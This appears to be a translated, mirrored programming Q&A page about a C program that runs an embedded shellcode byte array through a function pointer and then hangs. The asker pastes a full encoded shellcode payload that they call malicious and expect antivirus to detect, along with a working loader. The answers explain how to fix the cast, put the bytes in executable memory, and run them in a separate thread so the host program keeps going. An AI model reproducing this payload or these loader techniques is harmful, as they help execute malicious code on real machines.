繁体   English   中英

执行Shellcode时C程序挂起/挂起

[英]C program hangs / suspends while executing shellcode

#include <stdio.h>
char shellcode[] = "some shellcode here";
int main (int argc, char **argv) {
    void (*sptr)();
    sptr = (void(*)()) (&shellcode);
    sptr();
    printf("must display this");
    return 0;
}

在运行程序时,它可能会执行sptr()并挂在那里,这可能是因为shellcode正在内存中运行。 printf(“ ..”)永远不会执行。 我的问题是我希望程序执行printf()。

请帮忙 :)

回复埃里克·芬恩和艾尔文·黄

我按照你们俩的指示进行了更改,而我得到的错误是:

Microsoft Windows [版本6.1.7600]版权所有(c)2009 Microsoft Corporation。 版权所有。

X:>“ my program.exe”'»“.¼'不被识别为内部或外部命令,可操作程序或批处理文件。

char shellcode []有效。 我已经成功编译过了。

以下是带有恶意shellcode的原始代码,因此您的防病毒软件应该可以检测到它,只是为了确认您不是shellcode的问题:

#include <stdio.h>
#include <stdlib.h>

char shellcode[] = "\xda\xd3\xd9\x74\x24\xf4\xbd\xe9\x6d\xf8\x29\x58\x33\xc9\xb1"
"\x58\x31\x68\x18\x83\xe8\xfc\x03\x68\xfd\x8f\x0d\xd5\x15\xc6"
"\xee\x26\xe5\xb9\x67\xc3\xd4\xeb\x1c\x87\x44\x3c\x56\xc5\x64"
"\xb7\x3a\xfe\xff\xb5\x92\xf1\x48\x73\xc5\x3c\x49\xb5\xc9\x93"
"\x89\xd7\xb5\xe9\xdd\x37\x87\x21\x10\x39\xc0\x5c\xda\x6b\x99"
"\x2b\x48\x9c\xae\x6e\x50\x9d\x60\xe5\xe8\xe5\x05\x3a\x9c\x5f"
"\x07\x6b\x0c\xeb\x4f\x93\x27\xb3\x6f\xa2\xe4\xa7\x4c\xed\x81"
"\x1c\x26\xec\x43\x6d\xc7\xde\xab\x22\xf6\xee\x26\x3a\x3e\xc8"
"\xd8\x49\x34\x2a\x65\x4a\x8f\x50\xb1\xdf\x12\xf2\x32\x47\xf7"
"\x02\x97\x1e\x7c\x08\x5c\x54\xda\x0d\x63\xb9\x50\x29\xe8\x3c"
"\xb7\xbb\xaa\x1a\x13\xe7\x69\x02\x02\x4d\xdc\x3b\x54\x29\x81"
"\x99\x1e\xd8\xd6\x98\x7c\xb5\x46\xc0\x0a\x45\xfe\x7d\x9a\x2b"
"\x97\xd5\x34\xf8\x10\xf0\xc3\xff\x0b\xcd\x34\xa8\xe4\x79\x9c"
"\x3d\x0a\xd2\x4a\xf8\x5c\xa3\x2d\x03\xb5\xb8\x79\xa7\x04\xf6"
"\x2f\x06\x0c\x0b\x81\xf9\xb8\x5b\x21\xfa\x38\x0f\x71\x92\x6f"
"\x26\xee\xa4\x70\xed\xfa\x1d\xd7\x3f\x2f\x0f\x8f\x3f\xcd\x90"
"\xcb\x12\x83\x82\x82\xc0\x73\x4b\xcf\xb0\x5d\xb0\xf0\xee\x2b"
"\x00\x64\x01\x77\xbc\x87\x76\xd0\xe9\x20\x2f\xb6\x38\xc8\xd7"
"\x3d\xbc\x01\x62\x01\x37\xb3\x26\xf6\xa8\x28\x51\x1d\x81\x46"
"\x65\x1d\xed\x69\x45\x98\x22\xf8\xdf\x5c\x43\x6a\x10\xe9\xe1"
"\x3c\x2f\xc7\x8c\x80\xa7\xe8\x40\x00\x38\x81\x60\x00\x78\x51"
"\x36\x68\x20\xf5\xeb\x8d\x2f\x20\x98\x1e\x83\x42\x78\xf7\x4b"
"\x55\xa7\xf7\x8b\x06\xf1\x9f\x99\x3e\x74\xbd\x61\xeb\x02\x81"
"\xea\xd9\x86\x06\x12\x21\x1d\xc8\x61\x40\x46\x0b\x61\xef\x88"
"\x74\x8d\x9d\x1f\xe9\x00\x31\x93\x82\x82\xb9\x7d\x3f\x24\x2f"
"\x82";

int main (int argc, char **argv) {

void (*sptr)();
    sptr = (void(*)()) (&shellcode);
    sptr();
    printf("must display this"); // instead of more lines i put this one
    return 0;
}

上面的代码可以成功编译并完美运行

我将一些行更改为system(shellcode)。 它可以编译但不能正常运行

好的,因为shellcode实际上是机器代码而不是shell代码(根据您的最新编辑),答案是不同的。

声明char shellcode[]shellcode是指向内存位置的指针。 这意味着

sptr = (void(*)()) (&shellcode);

你应该有

sptr = (void(*)()) (shellcode);

此外,您希望代码位于二进制文件的可执行部分,而不是二进制文件的数据部分。 这意味着您想要char *shellcode = ...而不是char shellcode[] = ...

另外,您应该确保shellcode是有效的编译C函数,其调用约定与调用它的代码相同。

据我了解,您想运行一些“机器代码”( 而不是 shellcode),无论代码如何运行,都应继续执行该程序。

通过使用线程,这是可能的。

首先添加以下内容:

#include <windows.h>
#include <process.h>

在您的代码中:

void (*sptr)(void*);                  // Type for `_beginthread`
sptr = (void(*)(void*)) (&shellcode); // PLEASE rename to `machinecode`
_beginthread(sptr,0,NULL);            // This starts your code in a new thread
Sleep(5000);                          // Wait for 5000 ms
printf("must display this");

当然,这不是对程序进行多线程处理的正确方法,但是由于您的代码是“机器代码”,因此不需要做太多事情。

PS:当我尝试您的代码时,它最终到达“访问冲突”(分段错误)(并且显示“ x.exe遇到问题”对话框), 并且我的防病毒软件未检测到任何东西 (我需要切换到另一个)一个?),因此您可能需要查看代码或添加异常处理程序...

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM